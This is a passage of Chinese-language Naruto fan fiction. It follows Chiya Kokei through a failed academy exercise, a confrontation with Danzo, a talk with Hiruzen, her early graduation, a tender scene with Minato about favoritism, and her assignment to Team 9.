他们204条命,203条为任务搭进去了,这个人竟然、竟然如此轻率地对待任务!
“任务失败不是常有的事吗?”千弥抬起头,“而且我可不知道自己什么时候成了其他队伍的希望。都不是一队的人,别来沾边。”
千弥像驱赶飞虫一样撇嘴,嫌弃地挥了挥手。
有什么东西被人丢了下来,但是有校长在边上,他们不敢丢太准。
和团藏校长的恶意比起来,其他人那点儿怒火还是小巫见大巫了。
“古蹊千弥。”
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古蹊千弥有一种自己的名字被黑暗生物啃了一遍的感觉,很阴冷。
她打起精神回答:“到。”
“抛下任务、抛下使命与职责,只为一己私欲的任性可真是与你的父亲一脉相承。”志村团藏看着古蹊千弥,透过她他看到了很多人,有漩涡辻、古蹊海未、甚至是猿飞日斩。
但这个不知轻重的小丫头比他们狂妄得更甚——
千弥笑嘻嘻地回话,“多谢夸奖。”
志村团藏看着这颗油盐不进的铜豆子,“连队友的意志都枉顾吗?”
“这叫殉情。”郎心似铁,单身四十载的校长不会懂的。
高台上的旗木朔茂看着不卑不亢,嘴角还能弯出弧线的千弥怔神。
古蹊千弥的行为很“不忍者”,但站在猪鹿蝶的角度,千弥这份为情谊舍生赴死的勇气同样很难不让人为之动容。卡卡西的话突然冲进了旗木朔茂的脑海,未来的他难道也变成了这样的人吗?他还是很难想象那个未来的自己的模样。
殉情?脑海中忽然浮现出让人失笑的词汇,他这是被千弥带偏了吧。
“就算是枉顾村子的利益吗?”志村团藏杀心渐起,他看不到古蹊千弥对木叶的忠心。
“真的到那时,我会做出选择的。”烧成灰的轴芯在手上留下了数道黑色的碳痕,千弥握了握掌,率先转身走向同伴身边。
结果就是,辛苦三天,全员不合格。
之后的几天,波风水门天忙着舌战群儒——
“抛弃三年级后辈的前辈们似乎都没能坚持到最后。”
“管教?前辈以什么立场说这些话?千弥不需要外人管教。”
玖辛奈忙着用拳头说话——
“血红辣椒!”
“是血红辣椒!”
“血红辣椒来了,快跑!”
命定的称号虽迟但到。
“啊!”
“嘭!”
“轰!”
爪的黑丸悄悄在“坏人”身上做标记……
五年级的人听说了演习结果后也加入进来,只是他们是站在千弥这头的风纪大队——
“有什么话当面说,知道古蹊千弥的班吗?不认路我送你。”
虽然他们不能认同古蹊千弥的做法,但背后搬弄是非、煽风点火可不是忍者的立身之道。
……
“喂喂喂,任性过头了。”奈良鹿久伸出手抹去千弥脸庞上的眼泪,“真是的,既然做下决定就不要再哭了。我们可是从头到尾都没说什么。”
“鹿久……”千弥扯着奈良鹿久的衣袖,“我好像弄丢了一个很重要的朋友。”
“叫什么名字?我们帮你一起找。”
抽搭半晌,千弥回答:“谜一样的美男子。”
“水门!那些乱七八糟的杂书你再查一遍!床底也要检查!蠢鸟的窝也别放过!”
亏他还以为这个小混蛋落泪是有了那么一丁点的忏悔之心!果然还是看那些应该封禁的三流杂刊看迷糊了吧!
……
木叶隐村的最高处,历代火影的颜岩上——
“又在这里啊,千弥。”
“三代大人啊。”
千弥眼球转动了一下,之后便躺在千手柱间的头顶一动不动地望天。
“我并不赞同团藏在最后一刻阻击你的队友的行为。”猿飞日斩声音悠长,像是陷入了什么久远的回忆。
“但是,你也‘报复’回去了不是吗?”以“殉情”这样激烈的方式,不肯有丝毫的妥协。
猿飞日斩看到古蹊千弥翻了个身,是个拒绝沟通的动作。
看来他不能再在千弥面前维护团藏了,否则会被一并讨厌。既然如此,就用古蹊千弥最喜欢的二代目火影大人作为切入点好了。
“我和团藏曾是二代目火影大人的影卫队成员。”
果不其然,人又翻回来了。
猿飞日斩露出微笑,眼角浮现出细细的纹路。
“执行护卫火影大人前往云隐村和谈的任务时,我们在签订止战协议的会场遭到了意图掀起政变的金角银角的偷袭。”
猿飞日斩看到古蹊千弥很快地看向了他这边一眼,更准确来说,是他左手边的二代目火影的颜岩。
“扉间大人在生死关头,给了我们一个考验,他选定了率先决定舍身吸引敌人的人为木叶隐村的第三代火影。”
身为影,猿飞日斩敏锐地注意到古蹊千弥放缓了呼吸。
“团藏也有挺身做诱饵的意愿,但当他的内心为此煎熬摇摆时,我的决定快了他一步。”
啊……又转回去了。明明年轻时那么招女孩喜欢,变成老爷爷的团藏还真是不受待见啊。猿飞日斩在心里感慨。
“所以他没能成为扉间大人属意的火影候选。”一口气说完,猿飞日斩望着被晚霞染成紫红色的天。
“……”校长原来郁闷变态了,所以才恨不得人人都牺牲。
不同情,不理解,不尊重。
“和六年级一起毕业吧,千弥。”
在千弥旁边坐下的猿飞日斩抬起头,盯着这片令这个孩子为之着迷的天,这片罩着木叶的天。
“我会替你看好玖辛奈和香奈的。”
“所以,放心地以忍者的身份去看看这个世界吧。”
他很期待古蹊千弥找到的忍道。
48.分享即偏爱
“诸君,美好的校园时光总是短暂,稍不注意便落下了帷幕。”千弥背对高悬于天际的烈日站在高高的台阶上,表情隐匿于两鬓碎发和阴影当中,只留给众人一个毛茸茸又透光的轮廓。
“呜。”泪水在玖辛奈的眼眶中打转。
她一直注视着千弥,甚至在很早之前就预感到了这样的情形,这一天终究还是到来了。
“千弥酱……”香奈垂着头,不知道在想什么。
“事实上,我——”千弥悲伤地望着眼前的小伙伴们,说好了要保护好香奈和玖辛奈,但她要失约了。
哪怕是同朋友们告别,也要留下让伙伴们宽心的微笑。这么想着,千弥的心情忽然平静了许多,她镇定地宣布,“我毕业了。”
“你被退学了吧。”玖辛奈闭上眼睛,生怕眼泪会在下一秒不受控制地飞飙出来。
两道声音同时传到众人的耳朵里,玖辛奈表情错愕,眼泪更是因为闭上眼睛的动作滑稽地挂在了睫毛上。
“欸?”水门和爪听闻这话,同样表情空白。
湛蓝色的眼睛注视着嘴巴瘪成了倒V字型而不自知的千弥,波风水门定定地站在原地。
“我被退学了?”
“你竟然毕业了?”
两道疑惑的声音再一次同时响起,千弥和玖辛奈面面相觑。
“因为我的成绩太过优异,人又十分强大,所以三代目大人特批我提前批毕业~”千弥的声音发飘,说到后面尾音更是像长了翅膀一样忽悠悠地飞向天空,听得漩涡玖辛奈一阵火大。
“为什么我们不能提前毕业嘚吧内!”最最最重要的是,没有千弥的学校乐趣都少了一半。
“因为我是特权阶级?”古蹊千弥丝毫没有自己在败坏三代目名誉的意识,大白天地就睁着眼睛一通胡说八道,“三代大人给我大开方便之门,一路畅通无阻。”
“说实话,那种答卷还能让我毕业还真是不可思议。”挠挠脑袋的千弥望着天,双手合十虔诚地感慨,“感谢老师,感谢火影,感谢卡密。”
看着千弥胡言乱语的波风水门:“……”
这种既让人忍不住去挂念、去忧心但同时让人深感无力的感觉,真是标准的“千弥风格”。
“你们难道一点也不好奇毕业测试吗?”千弥生涩地转移话题,但显然,这招对付玖辛奈效果绝佳。
“是什么?是什么?”安慰好自己,玖辛奈已经打起精神,将目标锚定在了提前毕业上——如果她能和下一届前辈们同时毕业,那么自己和千弥之间的距离似乎也就没那么遥远了。
“唔——”千弥看着成功被自己转移了注意力的玖辛奈,悄悄地在心里松了口气,“绳树他们的情况我不太清楚,但我的考试卷和一年级期末卷差不多。至于忍术的考察科目的话,今年的内容是三身术哦。”
千弥坐在台阶上,连跨三级台阶曲起腿,后仰着伸了个懒腰,“当然啦,尽管时隔三年,但我的答卷也和当初差不多。不过这次的计算题我有认真作答。”
答题变化较大的大概是一些开放题,答案变成了比“非人哉”这样的答案少了些许锋芒的“养家一般”之类同样让人高血压的古语。和旧日答案最重要的区别大概就是阅卷老师们阅卷时收缩压的高压数值以及对老师们耐性的挑战级别。
凭着对偷摸大鸡的了解,玖辛奈知道千弥没说谎话,但这样也能毕业?!
“黑幕!绝对的黑幕!简直太黑暗了!”玖辛奈的注意力被现实拉了回来,什么提前毕业,她连听都没听过。上了三年学,连跳级的学生都没见着一个!
“嘛~”千弥心虚地望天,很蓝,像水门的眼睛。于是她又超绝不经意地低下头,凝视反射着石英光芒的星星点点发亮的地面。
将千弥的动作尽收眼底的波风水门抬起头看着那片让千弥躲闪的天空,戴上微笑假面。
“总之就是,我要先去做忍者看看,会认真给大家反馈和忍者感悟的。”
“当忍者明明是一件很重要的事,却被千弥说得像是看书一样轻松。”爪吐槽,得到了黑丸的点头认同。
“会很危险吧。”香奈看着千弥,说出了所有人避而不谈却又十分关心的问题。
“我很强的,打绳树都轻轻松松啦!”把绳树当做战斗单位的千弥笑着安抚香奈。
三年级小会散会,千弥和水门肩并肩地走在回家的路上。
“为什么连我也不知道这件事呢。”回到家,波风水门把千弥推进能让人仰倒下去的沙发上,自己则扯了一张椅子,用腿封锁住千弥左右的退路。
“因为……公平?”面对水门,问心有愧的千弥眼神躲闪。
“因为千弥,我现在已经讨厌公平这个词汇了。”波风水门收紧腿,把千弥拘在更有限的空间里,他看着整个人都陷进窝里的千弥,眸色晦暗,“明明我和千弥才是关系比其他人更亲密的亲人,难道连一点偏爱都得不到吗?”
他竟然连千弥什么时候参加的考试都没注意到。波风水门咬住嘴唇内的软肉,因为自己想要“公平”,千弥似乎产生了某种“随心所欲的公正”这样的处事原则。是他的失策。
“偏、偏爱……”千弥侧过头,忍不住又往沙发里团了团,“……”
他们是彼此之间最重要的依靠……
原本歪着头打瞌睡的小万那双黑豆眼炯炯有神地注视着下面发生的情况。
是她忽视了水门。
泪水在眼眶打转。
“又
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在乱想了。”波风水门离开了椅子,身体前倾着将千弥埋进布料的脸掰正,“至少这种重要的人生节点,请让我做最先知道的那个吧。”
(——吸气)
“那么庆祝千弥忍校毕业,我们去烤鱼店吃烤鱼和油炸天妇罗虾。”
阶段性的教育目的实现,认为古蹊千弥懂得了“偏爱”的波风水门用袖子给千弥擦了擦眼泪,“千弥的眼睛在这种时候格外‘蓝’。”
“一直都是这个颜色,只要不是色盲都能看出来吧。”不知道该怎么做才是偏爱,怕自己会让水门伤心的千弥抱住水门,认真地仰起头注视着水门的眼睛询问,“我要怎么偏爱水门呢?”
太直白了。
教千弥“偏爱”自己的波风水门没想到还有这一茬等着自己,脸颊飞红道,“悲伤也好,快乐也好,尽情地和我分享就足够了。”
“那我可以得到水门的偏爱吗?”
被直球打得丢盔弃甲的波风水门强作镇定地点头,“当然。”
为了防止被千弥抓住当做挡箭牌,把窝安置在高处的小万听着下面的动静大半个身体都探了出来。看乐子看得忽然失去重心,爪偏偏又勾住了垫子无法展翅的白鸟像倒插的白葱噗通一声栽在地上。
“小万!”
因为某只闪了脖子的傻鸟,他们到底没能去成烤鱼店。
……
“为什么千弥也有护额?!”直指出现在分队教室的千弥,绳树看着被千弥挂在袖子上的护额满脸不可置信。
坐在猪鹿蝶旁边的千弥回头,“哪有那么多为什么啦,顺带一提,我的忍者编号比绳树小哦。”
深受打击的绳树消沉地趴在了桌上,嘴里不停地碎碎念,“可恶,输了。”
鹿久无奈道,“这有什么好比较的啊。”
单细胞生物真的很难理解。
“绳树可以叫我小前辈,作为回报,我也不介意叫绳树大侄子的。”千弥乘胜追击,还在对绳树输出自己的千言弥语。
“小啊大啊的,你这不是一直在占便宜吗?”鹿久照着千弥的头轻轻拍了一下。
“鹿久难道希望我被占便宜吗?”千弥捂着嘴,不可置信地睁圆眼。
“不要说这种有歧义的话!”
“好痛。”
“轻一点啊,鹿久。千弥只是顺着你说的话在反驳啊。”听千弥呼痛的亥一下意识护崽。
“我根本没用力!”这里最该被亥一管教的分明应当是千弥这个没大没小的笨蛋吧?!
“大、小......大就是小,小就是大......果然还是输了吧......”绳树的眼睛里失去了光芒。
“第九班,宇智波美琴,油女志微,古蹊千弥。”